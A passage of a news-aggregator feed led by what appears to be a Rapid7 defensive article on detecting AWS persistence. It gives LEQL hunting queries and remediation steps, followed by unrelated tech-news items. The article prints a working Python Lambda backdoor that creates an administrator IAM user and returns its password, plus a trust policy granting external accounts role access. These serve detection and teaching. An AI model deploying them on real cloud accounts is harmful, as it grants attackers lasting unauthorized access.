    },</pre><p><span><em>Listing 1: Example request and response parameters of the </em></span><span><span data-type="inlineCode"><em>iam:CreateUser</em></span></span><span><em> API call</em></span></p><p><span><em></em></span></p><p><span>Creating an IAM user does not, by itself, provide threat actors with a particularly effective persistence mechanism, because the newly created user has no credentials for authentication and no identity-based policies assigned. Therefore, several follow-up actions usually occur. These actions typically focus on adding credentials and assigning permissions to the newly created user. Specific examples include:</span></p><h4><span>Credential addition:</span></h4><ul><li><p><span><span data-type="inlineCode">iam:CreateAccessKey</span></span><span> — Creates a long-term credential for the target IAM user. This may also be used for lateral movement when the source user differs from the target user.</span></p></li><li><p><span><span data-type="inlineCode">iam:CreateConsoleProfile</span></span><span><strong> </strong></span><span>— Creates credentials that allow the user to authenticate through the AWS Console interface. Like the previous API call, this may also be used for lateral movement when performed on a different IAM user.</span></p></li></ul><h4><span>Permission addition:</span></h4><ul><li><p><span><span data-type="inlineCode">iam:AttachUserPolicy</span></span><span> — Attaches the specified managed policy to the user.</span></p></li><li><p><span><span data-type="inlineCode">iam:PutUserPolicy</span></span><span> — Adds or updates an inline policy document embedded in the specified IAM user.</span></p></li><li><p><span><span data-type="inlineCode">iam:AddUserToGroup</span></span><span> — Adds the user to the specified group.</span></p></li></ul><p><span>All of these API calls use standardized request parameters, which makes it possible to investigate actions performed on the newly created user with the following LEQL query:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user")</pre><p><span><em>Listing 2: LEQL query for investigating actions performed on an IAM user</em></span></p><p><span><em></em></span></p><p><span>Excluding the source user who originally created the malicious IAM user can help reveal other compromised accounts involved in the activity.</span></p><p><span>To get an overview of the most important actions performed on the malicious entity, the following query can be used:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user" and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"] and source_json.errorCode != /.+/)groupby(source_json.userIdentity.arn, source_json.eventName)</pre><p><span><em>Listing 3: LEQL query to get an overview of the most important actions performed on the user</em></span></p><p><span><em></em></span></p><p><span>The query in Listing 3 displays a table of successful actions performed by user identities targeting the compromised user. It filters out common read operations that may occur regularly in the environment and also excludes unsuccessful actions.</span></p><p><span>InsightIDR parses the source user into a separate field, which makes it easy to examine all actions performed by IAM users. To get a list of actions performed by the newly created IAM user, the following LEQL query can be used:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_account = "malicious-user")groupby(source_json.eventName)</pre><p><span><em>Listing 4: LEQL query for actions performed by the user</em></span></p><h3>Recommended steps for newly created IAM users</h3><p><span>When investigating and remediating persistence involving newly created IAM users, Rapid7 recommends the following steps:</span></p><ul><li><p><span>Review the actions performed by both the newly created IAM user and the user that initiated its creation to understand the scope and intent of the activity.</span></p></li><li><p><span>Examine authentication activity for unusual locations or patterns, and identify any additional resources that may have been accessed by the same threat actor.</span></p></li><li><p><span>Where possible, apply a deny-all IAM policy to all compromised entities to immediately prevent further malicious actions.</span></p></li><li><p><span>Rotate credentials for all compromised accounts to prevent further unauthorized access.</span></p></li><li><p><span>Remove any unknown or unauthorized IAM users to fully remediate persistence.</span></p></li></ul><h2>Persistence technique: Modifying assume role policies</h2><p><span>An IAM role is an entity that has specific permissions that can be assumed to whoever needs it and has necessary permissions to do so. Roles are intended to provide access to resources to users, applications, and services that normally don’t have access to the required AWS resources. Unlike IAM users, roles do not have long-term access keys so they provide only short-term credentials when they are assumed.</span></p><p><span>During an attack, threat actors can establish persistence by modifying a role's assume role policy. By altering this policy, they can allow users from an attacker-controlled AWS account to assume the role within the victim’s account.This form of persistence can be achieved by creating a fresh new role using </span><span><span data-type="inlineCode">iam:CreateRole</span></span><span> with already backdoored assume role policy, or via editing an assume role policy that already exists using </span><span><span data-type="inlineCode">iam:UpdateAssumeRolePolicy</span></span><span> API call. Listing 5 shows an example of an assumed role policy document that allows access from external AWS accounts.</span></p><p></p><pre language="json">{
    "Version": "2012-10-17",
    "Id": "...",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::111111111111:root"
            },
            "Action": "sts:AssumeRole"
        },
        {
            "Sid": "Statement2",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::222222222222:root"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

</pre><p><span><em>Listing 5: Assume role policy allows external access</em></span></p><p></p><p><span>The document contains two external account IDs, </span><span><span data-type="inlineCode">111111111111</span></span><span> and </span><span><span data-type="inlineCode">222222222222</span></span><span>, and allows anyone with necessary permissions in the attacker's account to assume the role.</span></p><p><span>In addition to investigating the user who performed the action to confirm its compromise, there are additional queries that could reveal other potentially malicious activity. The LEQL query in Listing 6 shows all actions performed on the </span><span><span data-type="inlineCode">malicious-role</span></span><span> that has a suspicious assume role policy statement. The query also filters our common noise in AWS environments.</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.requestParameters.roleName = "malicious-role" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "access-analyzer.amazonaws.com"])</pre><p><span><em>Listing 6: LEQL query to show actions performed on the suspicious role</em></span></p><p></p><p><span>When this persistence technique is observed, it’s recommended to search for activity originating from malicious accounts. When </span><span><span data-type="inlineCode">iam:AssumeRole</span></span><span> action is observed, the returned temporary key can be extracted and its associated activity can be further examined.</span></p><p><span></span></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.accountId IN ["111111111111", "222222222222"])</pre><p><span><em>Listing 7: LEQL query showing actions from the suspicious AWS accounts</em></span></p><p></p><p><span>Also, it’s recommended to search for other potentially backdoored policies that may have been created within the environment. The LEQL query in Listing 8 shows a table of principal IDs that wrote the previously identified malicious AWS accounts into specific roles.</span></p><p></p><pre language="html">where(service = "cloudtrail"  and source_json.eventName IIN ["CreateRole", "UpdateAssumeRolePolicy"] and source_json.eventSource = NOCASE("iam.amazonaws.com") and source_json.requestParameters.assumeRolePolicy, source_json.requestParameters.policyDocument ICONTAINS-ANY ["111111111111", "222222222222"])groupby(source_json.userIdentity.principalId, source_json.requestParameters.roleName)</pre><p><span><em>Listing 8: LEQL query showing roles with assume role referring to the suspicious AWS accounts</em></span></p><h2>Persistence technique: Lambda abuse</h2><p><span>AWS Lambda is a serverless compute service that allows users to execute code without managing servers. Lambda functions contain code that can be triggered by various AWS services, such as API Gateway, CodeCommit, Config, and others.</span></p><p><span>Threat actors may abuse Lambda functions to upload malicious code that maintains access to the environment when invoked. The code inside a Lambda function can perform any operation, as long as the function has the necessary permissions assigned to it. However, a common malicious use case is provisioning new privileged IAM users.</span></p><p></p><pre language="python">import string
import boto3
import uuid
import json
import random

def lambda_handler(event, context):
    iam = boto3.client('iam')

    user_name = f"user-{uuid.uuid4().hex[:8]}"
    password = ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=10))

    try:
        response = iam.create_user(UserName=user_name)
        print(f"User {user_name} created successfully")

        iam.create_login_profile(
            UserName=user_name,
            Password=password,
            PasswordResetRequired=False
        )

        iam.attach_user_policy(
            UserName=user_name,
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )

        account_id = context.invoked_function_arn.split(":")[4]
        iam_login_url = f"https://{account_id}.signin.aws.amazon.com/console"

        return {
            'statusCode': 200,
            'body': json.dumps({
                'message': f'User {user_name} created successfully',
                'login_url': iam_login_url,
                'username': user_name,
                'password': password
            })
        }
    except Exception as e:
        return {
            'statusCode': 500,
            'body': json.dumps({'error': error_message})
        }</pre><p><span><em>Listing 9: Backdoor Python Lambda code</em></span></p><p></p><p><span>The code in Listing 5 creates a new IAM user with a login profile and attaches the AdministratorAccess policy to it. The login credentials are returned to the attacker in the response from the Lambda function. To execute, the Lambda function must be triggered. Threat actors may create various triggers depending on how the malicious code operates. In scenarios like the example above, the Lambda function is usually assigned a public URL that a threat actor can call to invoke it.</span></p><p><span>One way the function can be invoked via a public URL is by using the </span><span><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span></span><span> and </span><span><span data-type="inlineCode">lambda:AddPermission</span></span><span> sequence. The </span><span><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span></span><span> API call takes the function name as an argument and returns the function URL. This URL can then be used by threat actors to invoke the function. The second API call, </span><span><em><span data-type="inlineCode">lambda:AddPermission</span></em></span><span>, assigns permission that allows the function to be invoked from the URL.</span></p><p>    </p><pre language="html">"requestParameters": {
      "functionName": "backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    },
    "responseElements": {
      "functionUrl": "https://uniqueaddress.lambda-url.us-east-1.on.aws/",
      "functionArn": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    }</pre><p><em>Listing 10: Example request and response elements of the </em><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span><em> function<br></em><em><br></em><span>Another way to trigger a Lambda function via a URL is to create an API Gateway endpoint and use </span><span><span data-type="inlineCode">apigateway:CreateIntegration</span></span><span> or </span><span><span data-type="inlineCode">apigateway:PutIntegration</span></span><span> to set the destination to a Lambda function. The action logged in Listing 7 creates an integration to trigger version 1 of a Lambda function named </span><span><span data-type="inlineCode">backdoor_lambda_function</span></span><span>. When investigating, it is important to check the content of the version of the Lambda function being triggered, as there may be legitimate-looking code in later versions used to hide malicious code.</span></p><p></p><pre language="html">  "eventSource": "apigateway.amazonaws.com",
    "eventName": "CreateIntegration",
    "awsRegion": "us-east-1",
    "requestParameters": {
      "integrationMethod": "GET",
      "integrationType": "AWS_PROXY",
      "payloadFormatVersion": "2.0",
      "integrationUri": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_lambda_function:1",
      "apiId": "xxxxxxx"
    },</pre><p><em>Listing 11: Part of </em><span data-type="inlineCode">apigateway:CreateIntegration</span><em> CloudTrail log</em></p><p></p><p><span>There are various other ways the backdoor function may be implemented. For example, threat actors may use </span><span><span data-type="inlineCode">events:PutRule</span></span><span> to set up event-driven execution and then use </span><span><span data-type="inlineCode">events:PutTargets</span></span><span> to assign the Lambda function as a target. The function may then establish a backdoor and send credentials to attacker-controlled C2 servers.</span></p><h3>Suspicious Lambda function activity: Next steps</h3><p><span>This section contains recommended actions and investigation steps to take whenever InsightIDR highlights activity originating from a Lambda function as suspicious. During investigations, focus on answering the following questions:</span></p><ul><li><p><span>Is the Lambda function known and authorized?</span></p></li><li><p><span>What code invoked the suspicious activity?</span></p></li><li><p><span>Who created the Lambda function?</span></p></li><li><p><span>How was the Lambda function triggered?</span></p></li><li><p><span>What actions were performed by the function?</span></p></li></ul><p><span>The LEQL query shown in Listing 12 provides an example that displays successful actions performed by a Lambda function named </span><span><span data-type="inlineCode">malicious-function</span></span><span>, grouped by event source.</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn ICONTAINS "/malicious-function" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 12: LEQL query showing an overview of actions performed by the Lambda function</em></p><p></p><p><span>Malicious activity performed by Lambda functions can originate from malicious code within the function or from the exploitation of a legitimate application. If malicious code is identified, the user who inserted it is likely to be compromised as well. The query in Listing 9 displays principal IDs and their associated API calls affecting the Lambda function, including the techniques described in this section and function invocation events (</span><span><span data-type="inlineCode">lambda:Invoke</span></span><span> API call).</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.requestParameters.functionName,source_json.requestParameters.putIntegrationInput.uri, source_json.requestParameters.integrationUri, source_json.requestParameters.targets.arn ICONTAINS "malicious-function" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "config.amazonaws.com"])groupby(source_json.userIdentity.principalId, source_json.eventSource, source_json.eventName)</pre><p><em>Listing 13: LEQL query showing actions performed on the Lambda function</em></p><h2>Persistence technique: Federated user session creation</h2><p><span>Threat actors may use the Security Token Service (STS) API call to create a federated user session and maintain access to an AWS environment even after some standard containment actions have been completed. GetFederationToken returns a set of temporary security credentials for a federated user principal. The API call must be made using long-term IAM user credentials, which means activity from a federated user should always be investigated together with the IAM user that created the session.</span></p><p><span>This technique is especially important during incident response because disabling or deleting the original access key does not automatically invalidate temporary credentials that have already been issued. Those credentials remain usable until they expire, unless their effective permissions are blocked. As a result, responders should treat the federated session as a separate active identity and investigate both the session activity and the source IAM user activity.</span></p><p><span>The effective permissions of a federated user are based on the permissions available to the IAM user that requested the token and any session policies passed in the </span><span><span data-type="inlineCode">GetFederationToken</span></span><span> request. A session policy cannot grant permissions that the source IAM user does not already have. However, if the compromised IAM user is highly privileged, the resulting federated session may still provide broad access to the environment.</span></p><p><span>When InsightIDR alerts on suspicious activity performed by a federated user, the userIdentity field in CloudTrail may look similar to the example below:</span></p><p></p><pre language="json">"userIdentity": {
  "type": "FederatedUser",
  "principalId": "123456789012:None",
  "arn": "arn:aws:sts::123456789012:federated-user/None",
  "accountId": "123456789012",
  "accessKeyId": "ASIAS8T6L4RPJJGXXXX",
  "sessionContext": {
    "sessionIssuer": {
      "type": "IAMUser",
      "principalId": "AIDAIT67N6AB4IH6XXXXX",
      "arn": "arn:aws:iam::123456789012:user/compromisedUser",
      "accountId": "123456789012",
      "userName": "compromised_user"
    },
    "attributes": {
      "creationDate": "2026-04-11T09:13:11Z",
      "mfaAuthenticated": "false"
    }
  }
},</pre><p>Listing 13: <span data-type="inlineCode">userIdentity</span> field of an event performed by a federated user</p><p></p><p><span>In this example, the federated user name is </span><span><span data-type="inlineCode">None</span></span><span>, which comes from the name parameter supplied to STS. The </span><span><span data-type="inlineCode">sessionContext.sessionIssuer</span></span><span> field identifies the IAM user that created the federated session. This is the most important pivot point during the investigation because the source IAM user is likely to be compromised.</span></p><p><span>To review successful actions performed by the federated user, defenders can use the following LEQL query:</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 15: LEQL query showing all successful actions performed by the federated user</em></p><p></p><p><span>To focus on higher-signal activity, defenders can exclude common enumeration actions:</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/ and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"])groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 16: LEQL query showing successful non-enumeration actions performed by the federated user</em></p><p><span></span></p><p><span>When reviewing actions performed by federated users, pay close attention to activity involving IAM, CloudTrail, GuardDuty, Organizations, KMS, Secrets Manager, S3, Lambda, and EC2. IAM activity is particularly important. Federated user credentials cannot call IAM APIs via AWS CLI and AWS API, but this limitation does not apply to AWS Management Console sessions. Therefore, successful IAM activity associated with a federated user may indicate that the threat actor generated console access by using the </span><span><span data-type="inlineCode">signin:GetSigninToken</span></span><span> and </span><span><span data-type="inlineCode">signin:ConsoleLogin</span></span><span> API sequence.</span></p><p><span>Defenders can review </span><span><span data-type="inlineCode">sts:GetFederationToken</span></span><span> calls to review federated tokens creations performed by the source user. The API calls may be further scoped down by adding </span><span><span data-type="inlineCode">source_json.responseElements.credentials.accessKeyId = “malicious_access_key”</span></span><span>, which will display the exact API call that was used to obtain the temporary token. This may be useful when determining Initial Access Vector, as the API call may contain the initially leaked long-term credentials.</span></p><p></p><pre language="html">where(service = "cloudtrail" and action = "GetFederationToken" and source_json.eventSource = "sts.amazonaws.com" and source_json.requestParameters.name = "None" and source_json.userIdentity.userName = "compromised_user")</pre><p><em>Listing 17: LEQL query showing the </em><span data-type="inlineCode">GetFederationToken</span><em> event that created the federated user credentials</em></p><p><span></span></p><p><span>During the investigation, responders should focus on answering the following questions:</span></p><ul><li><p><span>Which IAM user created the federated session?</span></p></li><li><p><span>What actions did the federated user perform after the token was issued?</span></p></li><li><p><span>Did the actor use the federated session to access the AWS Management Console?</span></p></li><li><p><span>Did the federated user create or modify additional persistence mechanisms?</span></p></li><li><p><span>What other suspicious activities were performed?</span></p></li></ul><p><span>When compromise is confirmed, Rapid7 recommends the following steps:</span></p><ul><li><p><span>Apply a deny-all policy to the IAM user that created the federated session. Keep the deny in place until the federated credentials have expired.</span></p></li><li><p><span>Rotate or delete all affected access keys associated with the compromised IAM user.</span></p></li><li><p><span>Remove any additional persistence that might have been created.</span></p></li></ul><h2>Summary</h2><p><span>AWS persistence often relies on abusing legitimate identity and automation features such as IAM users, access keys, assume role policies, Lambda functions, and federated user sessions. Many malicious activities are made possible by overly permissive policies, so organizations should regularly review IAM permissions, trust policies, and resource-based policies, and use Service Control Policies to enforce preventative guardrails across AWS accounts.</span></p><p><span>Effective detection and response requires pivoting from the alerted activity to related identities, credentials, sessions, policies, and resources to determine whether additional persistence exists. Rapid7 MDR provides comprehensive detection and incident response services to help organizations identify suspicious AWS activity, contain compromised identities, and harden cloud environments against repeat abuse.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[LankeOS — A fully independent Linux distro built from scratch with a custom C++20 atomic package manager, Linux 7.1.1, and pure Wayland. Come vote for it on DistroWatch!]]></title>
<description><![CDATA[Hi everyone, I’ve been working on a fully independent Linux distribution for the past 5 months – no Debian/Arch/Fedora base, everything built from upstream source using my own toolchain. Now I think it brings something genuinely new to the table. Here is LankeOS, a fully independent Linux distrib...]]></description>
<link>https://tsecurity.de/de/3670775/linux-tipps/lankeos-a-fully-independent-linux-distro-built-from-scratch-with-a-custom-c-20-atomic-package-manager-linux-711-and-pure-wayland-come-vote-for-it-on-distrowatch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670775/linux-tipps/lankeos-a-fully-independent-linux-distro-built-from-scratch-with-a-custom-c-20-atomic-package-manager-linux-711-and-pure-wayland-come-vote-for-it-on-distrowatch/</guid>
<pubDate>Wed, 15 Jul 2026 15:11:50 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi everyone,</p> <p>I’ve been working on a fully independent Linux distribution for the past 5 months – no Debian/Arch/Fedora base, everything built from upstream source using my own toolchain.</p> <p>Now I think it brings something genuinely new to the table.</p> <p>Here is LankeOS, a fully independent Linux distribution built from scratch by a solo developer. If you're tired of "just another Ubuntu/Debian/Arch derivative," this one is genuinely different.</p> <p>What makes LankeOS special</p> <ol> <li>Custom package manager — lpkg (written in C++20)</li> </ol> <p>This is the centerpiece. lpkg is a from-scratch package manager with a WAL atomic transaction system — meaning it can survive power loss mid-install without breaking your system. It includes:</p> <p>- ELF DT_NEEDED verification — validates every shared library dependency against the repo before installing. No "missing .so" surprises.</p> <p>- Ctrl+C handling — the signal waits for current operation + rollback.</p> <p>- 410+ regression tests — including simulated power-loss recovery scenarios.</p> <p>- Aggregated index format — compact single-file index with all version/hash/dep info per package.</p> <p>- Static build support — one binary, runs anywhere.</p> <p>- Package transaction system with WAL-based logging, atomic commit, and rollback support — bringing database-style reliability to traditional mutable Linux package management.</p> <p>- .lpkg format = tar.zst + embedded metadata.json + content/ + hooks/</p> <ol> <li>Not a derivative — built from LFS methodology</li> </ol> <p>LankeOS is not based on Debian, Arch, Fedora, or any existing distro. Every one of its 284 packages is built from upstream source using its own LankeBUILD system. This is a true independent distribution.</p> <p>It supports modern hardware and runs perfectly on my Dell OptiPlex 5000 Micro.</p> <ol> <li>Modern (bleeding edge) software stack</li> </ol> <p>- Linux Kernel 7.1.1</p> <p>- GCC 16.1.1, LLVM/Clang 22.1, glibc 2.42</p> <p>- systemd 257.8</p> <p>- Wayland desktop via niri</p> <p>- PipeWire audio stack, Mesa graphics</p> <p>- Firefox, WebKitGTK, GTK3/4</p> <p>- OpenJDK 25, Node.js, Go, Rust 1.96, Ruby 4.0, Python 3 out of the box</p> <p>- mihomo proxy, fcitx5 Chinese input with CJK fonts</p> <ol> <li>Incredibly lean and fast</li> </ol> <p>- ~4 second boot from power-on to desktop in qemu</p> <p>- Runs on as little as 400-500 MiB RAM</p> <p>- toram kernel parameter copies the entire system to RAM for fully disk-less operation</p> <p>- OverlayFS-based persistent storage via LABEL=LANKE_DATA partition</p> <ol> <li>Smart initramfs with version-aware upgrades</li> </ol> <p>The init script detects version mismatches between the base file and the upper paritition, automatically enters a "live upgrade mode," and notifies the user. Built-in installer (lanke_install) handles GPT formatting, copying, and GRUB setup in one guided flow.</p> <p>Why LankeOS?</p> <p>LankeOS is built around three principles:</p> <p>### 1. Engineering first</p> <p>Instead of focusing on visual customization or superficial changes, LankeOS focuses on the underlying engineering of a Linux distribution.</p> <p>It provides its own:</p> <p>- build system (LankeBUILD)</p> <p>- package manager (lpkg)</p> <p>- package format</p> <p>- repository infrastructure</p> <p>- init and upgrade logic</p> <p>Every component exists because it solves a real system engineering problem.</p> <p>### 2. High technical density</p> <p>LankeOS aims to provide a complete development and daily-use environment while keeping the system lightweight.</p> <p>A single installation image includes:</p> <p>- complete C/C++/Rust/Python/Go/Java development toolchains</p> <p>- modern graphics stack (Wayland, Mesa, Vulkan)</p> <p>- multimedia support (PipeWire, FFmpeg)</p> <p>- desktop applications (Firefox, mpv, etc.)</p> <p>- package management and system development tools</p> <p>The goal is not to minimize the number of packages, but to maximize the amount of usable capability per byte.</p> <p>### 3. Stability through controlled complexity</p> <p>Although LankeOS follows a rolling-release model and uses recent upstream software, stability is achieved through strict integration testing.</p> <p>Every release is tested on real hardware, not only virtual machines.</p> <p>The development process includes:</p> <p>- reproducible package builds</p> <p>- dependency verification</p> <p>- regression tests</p> <p>- transaction-safe package operations</p> <p>- real hardware validation</p> <p>LankeOS is designed for users who want the flexibility of a lightweight distribution without sacrificing reliability.</p> <p>It is not another customized Linux image.</p> <p>It is an experiment in building a complete Linux distribution from the foundations up:</p> <p>a system where every layer can be understood, rebuilt, and improved.</p> <p>Links</p> <p>- GitHub: <a href="http://github.com/Wtada233/LankeOS">github.com/Wtada233/LankeOS</a></p> <p>- Package repo: <a href="http://lankerepo.wtada233.top/x86_64">lankerepo.wtada233.top/x86_64</a></p> <p>- Official site: <a href="http://lankeos.wtada233.top/">lankeos.wtada233.top</a></p> <p>- DistroWatch: <a href="https://distrowatch.com/dwres.php?waitingdistro=1104&amp;resource=links#new">https://distrowatch.com/dwres.php?waitingdistro=1104&amp;resource=links#new</a></p> <p>TL;DR: LankeOS is what happens when someone reads LFS anre distro around this" — with a crash-proof C++20 package</p> <p>manager, Linux 7.1.1, Wayland+Xwayland, 284 hand-built packages and a size of 1.24GiB. Go give it a vote on DistroWatch.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Wtada233"> /u/Wtada233 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uw5yab/lankeos_a_fully_independent_linux_distro_built/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uw5yab/lankeos_a_fully_independent_linux_distro_built/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Kleine Smartphones 2026: Die besten kompakten Handys im Test]]></title>
<description><![CDATA[Das Smartphone soll sicher in der Hand liegen und locker in die Tasche passen? Hier finden Sie die besten kleinen Handys aus dem COMPUTER BILD-Test - kompakte Smartphones mit starker Kamera, gutem Akku und handlichem Format.]]></description>
<link>https://tsecurity.de/de/3670681/it-nachrichten/kleine-smartphones-2026-die-besten-kompakten-handys-im-test/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670681/it-nachrichten/kleine-smartphones-2026-die-besten-kompakten-handys-im-test/</guid>
<pubDate>Wed, 15 Jul 2026 14:47:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Smartphone soll sicher in der Hand liegen und locker in die Tasche passen? Hier finden Sie die besten kleinen Handys aus dem COMPUTER BILD-Test - kompakte Smartphones mit starker Kamera, gutem Akku und handlichem Format.]]></content:encoded>
</item>
<item>
<title><![CDATA[Astronauts Take First X-Rays In Space]]></title>
<description><![CDATA[Astronauts on SpaceX's Fram2 mission successfully captured diagnostic X-ray images in orbit for the first time. The milestone gives space medicine a second imaging option beyond ultrasound and could help future crews diagnose injuries, inspect equipment, and support longer missions to the moon or...]]></description>
<link>https://tsecurity.de/de/3670415/it-security-nachrichten/astronauts-take-first-x-rays-in-space/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670415/it-security-nachrichten/astronauts-take-first-x-rays-in-space/</guid>
<pubDate>Wed, 15 Jul 2026 13:09:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Astronauts on SpaceX's Fram2 mission successfully captured diagnostic X-ray images in orbit for the first time. The milestone gives space medicine a second imaging option beyond ultrasound and could help future crews diagnose injuries, inspect equipment, and support longer missions to the moon or beyond. Popular Science reports: Commercial off-the-shelf X-ray machines like the ice cooler-sized MinXray TR90BH now allow users to perform scans on subjects far away from traditional facilities. In 2022, [Mayo Clinic researcher Sheyna Gifford] assisted in preparing a crew to successfully generate digital X-rays while experiencing microgravity during a parabolic flight. Gifford's team then spent years collaborating with SpaceX to plan another feasibility study. This time, they didn't want to operate an X-ray machine aboard an aircraft simulating the conditions in space -- they intended to use the equipment during an orbital mission.
 
The process was detailed in a recently published study in the journal Radiology, and focuses on last year's Fram2 mission. Instead of days of medical training, astronauts spent only four hours learning how to use their portable radiography device. They then took preflight X-rays of a hand, forearm, chest, abdomen, and pelvis ahead of their SpaceX Falcon 9 rocket launch on March 31, 2025. Once in orbit, the team calibrated the system before testing their MinXray on the same body parts as well as a smartwatch.
 
Once the crew returned, a trio of independent radiologists reviewed the orbital X-ray images based on their positioning, spatial and contrast resolutions, and general scan quality. Although positioning scores were slightly decreased for the central body images, every other scan held up to similar examples created on Earth. Meanwhile, the astronauts reported that using the machine was easy despite minimal prior coaching. Looking ahead, researchers hope to conduct further X-ray tests during orbital missions, while continuing to reduce the overall size of equipment.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Astronauts+Take+First+X-Rays+In+Space%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F15%2F0354223%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F15%2F0354223%2Fastronauts-take-first-x-rays-in-space%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/07/15/0354223/astronauts-take-first-x-rays-in-space?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fraunhofer eröffnet drei Humanoid Robots Experience Labs in Deutschland]]></title>
<description><![CDATA[Das Fraunhofer IOSB schafft mit drei Humanoid Experience Labs ein niedrigschwelliges Angebot für Wirtschaft und öffentliche Hand zum Einsatz humanoider Roboter.]]></description>
<link>https://tsecurity.de/de/3670320/it-nachrichten/fraunhofer-eroeffnet-drei-humanoid-robots-experience-labs-in-deutschland/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670320/it-nachrichten/fraunhofer-eroeffnet-drei-humanoid-robots-experience-labs-in-deutschland/</guid>
<pubDate>Wed, 15 Jul 2026 12:33:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Fraunhofer IOSB schafft mit drei Humanoid Experience Labs ein niedrigschwelliges Angebot für Wirtschaft und öffentliche Hand zum Einsatz humanoider Roboter.]]></content:encoded>
</item>
<item>
<title><![CDATA[Canva Code 2.0 Adds Visual Web Editing And Custom HTML Imports]]></title>
<description><![CDATA[Canva just released Canva Code 2.0, an updated platform that lets you build and edit websites, applications, and interactive experiences using simple prompts. The company is taking a big step into website creation by letting users type what they want and watch it appear on the screen. It builds o...]]></description>
<link>https://tsecurity.de/de/3670265/ios-mac-os/canva-code-20-adds-visual-web-editing-and-custom-html-imports/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670265/ios-mac-os/canva-code-20-adds-visual-web-editing-and-custom-html-imports/</guid>
<pubDate>Wed, 15 Jul 2026 12:09:58 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Canva just released Canva Code 2.0, an updated platform that lets you build and edit websites, applications, and interactive experiences using simple prompts. The company is taking a big step into website creation by letting users type what they want and watch it appear on the screen. It builds on previous updates to its generation tools and makes the whole process feel much closer to basic graphic design.



Users can build and edit interactive websites with basic prompts



You can start a new project by typing a description, or you can pick from more than 50 fresh templates. If you have already started building a page somewhere else, Canva allows you to import your HTML directly into its system. This makes it easy to move existing projects over to the new workspace and continue tweaking them.



The system places a heavy focus on teamwork and lets multiple people jump in and edit a project at the exact same time. It also ties directly into the main Canva editor, meaning you can pull up your saved brand colors and logos without opening another tab.



You can drag and drop images straight from its built-in library, change fonts, or click any text block to type something new. If you need a hand, you can select specific parts of the page and ask the artificial intelligence to change the layout or rewrite the words for you.



When a project is ready to go live, you have the option to link a custom domain or publish everything on a free Canva web address. The final websites are fully interactive and automatically resize to fit mobile screens.



